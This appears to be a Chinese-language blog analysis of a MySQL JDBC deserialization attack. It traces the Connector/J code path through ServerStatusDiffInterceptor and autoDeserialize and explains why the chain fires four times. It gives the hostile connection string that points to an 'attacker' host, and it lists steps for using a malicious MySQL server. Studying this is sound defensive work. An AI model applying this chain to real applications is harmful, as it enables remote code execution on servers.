前言

最近学习java的时候看到了这样一篇文章,内容是mysql-jdbc的反序列化利用。该漏洞只需要能够控制客户端的jdbc链接,在链接阶段就可以进行处发反序列化,于是开始了进一步研究。

JDBC

JDBC(Java Data Base Connectivity,java数据库连接)是一种用于执行SQL语句的Java API,可以为多种关系数据库提供统一访问,它由一组用Java语言编写的类和接口组成。是Java访问数据库的标准规范。简单理解为链接数据库、对数据库操作都需要通过jdbc来实现。也就是说我们通常会使用JDBC接口会做三件事:

1、链接数据库
2、执行数据库语句
3、JDBC返回数据库的执行结果

JDBC对mysql连接形式为:

1
jdbc:mysql://127.0.0.1:3306/mysql?user=root&pass=root

在?后可跟多个可选的参数

MySQL JDBC 反序列化

在该blackhat的议题中提到了使用ServerStatusDiffInterceptor的方式去触发。提供了两个参数:

1
2
3
autoDeserialize     // 驱动程序是否应该自动检测和反序列化存储在BLOB字段中的对象

queryInterceptors // 逗号分隔的类列表,这些类实"com.mysql.cj.interceptors.QueryInterceptor"的接口,应将其放置在查询执行之间来影响结果。

随后提供了利用链路及方法:

1
2
3
jdbc:mysql://attacker/db?
queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
&autoDeserialize=true

当攻击者部署了恶意的mysql服务器,并且在可控的JDBC链接处将该payload发送过去,就会将payload执行的结果返回回来。接下来需要看该攻击是如何实现的。这里在本地使用payload的时候发现触发了4次接下来将分析如何触发该利用链,以及为何触发了4次。

反序列化分析

这里为了更深入的了解我跟了下jdbc连接数据库的流程:

在数据库连接时会调用getConnection()方法去建立了连接,在com.mysql.cj.conf.ConnectionUrlParser将所有的参数进行分割。

1
2
3
4
scheme 数据库的连接类型
authority 数据库的连接地址及端口
path 连接的数据库名称
query 带入执行的参数

随后又将query的内容进行分割,传入com.mysql.cj.jdbc.ConnectionImpl对propertySet进行设置。

之后会与mysql进行初始连接,在NativeSession.class里会获取当前mysql的环境然后会触发一次查询”SET NAMES utf”

随后会调用com.mysql.cj.protocol.a.NativeProtocol类中的sendQueryString,而在上述的利用链中我们可以得知在com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor中的preProcess及postProcess都会触发populateMapWithSessionStatusValues这个方法,而这个方法才是调用readObject方法的前置处罚点。这里可以看到sendQueryString方法中有两个地方分别调用了preProces和postProcess方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (this.queryInterceptors != null) {
T interceptedResults = invokeQueryInterceptorsPre(query, callingQuery, false);

if (interceptedResults != null) {
return interceptedResults;
}
}
....
if (this.queryInterceptors != null) {
T interceptedResults = invokeQueryInterceptorsPost(query, callingQuery, rs, false);

if (interceptedResults != null) {
rs = interceptedResults;
}
}

在第一次触发查询后会进入该方法调用invokeQueryInterceptorsPre()从而触发preProcess()方法

随后执行了”SHOW SESSION STATUS” resultSetToMap中触发了getObject(),反序列化的数据就是执行”SHOW SESSION STATUS”查询的返回集。

跟入com.mysql.cj.jdbc.result.ResultSetImpl#getObject 可以看到反序列化的触发点,当传入的数据为BLOB类型的时候会进行反序列化

这里第一次触发了反序列化,接下来会触发SET autocommit=1查询。

然后又会进入NativeProtocol#sendQueryString,这里会触发一次postProcess

随后服务器因为执行了SHOW SESSION STATUS 会触发一次preProcess()

进而在触发SET sql_mode=’STRICT_TRANS_TABLES’查询

然后进入NativeProtocol#sendQueryString触发一次postProcess

至此整个流程结束。整个利用方法就明白了:

1、在环境中有可利用的gadget。
2、本地搭建恶意的mysql服务器,想办法修改SHOW SESSION STATUS返回集中的某个value,改为我们使用gadget生成的payload。
3、在可控的jdbc连接处发送连接恶意服务器的请求。
4、反序列化触发。

这里SHOW SESSION STATUS读取的是系统表INFORMATION_SCHEMA.SESSION_STATUS的值,但是系统表是不允许修改的,所以需要想办法操纵返回的数据。可以参考也可以直接使用fnmsd师傅开发的工具

这里在学习的过程中发现师傅们还发现了另外一条链路在mysql cj的库为5.x的时候使用detectCustomCollations触发,由于该链路触发的方式和8.x触发的方式不一样,是使用的SHOW COLLATION只触发了一次反序列化,有兴趣的师傅们可以去看一下,这里大家可以参考
https://www.anquanke.com/post/id/203086 fnmsd师傅给出了不同版本的mysql cj的利用方式。

参考文章

https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf
https://www.anquanke.com/post/id/203086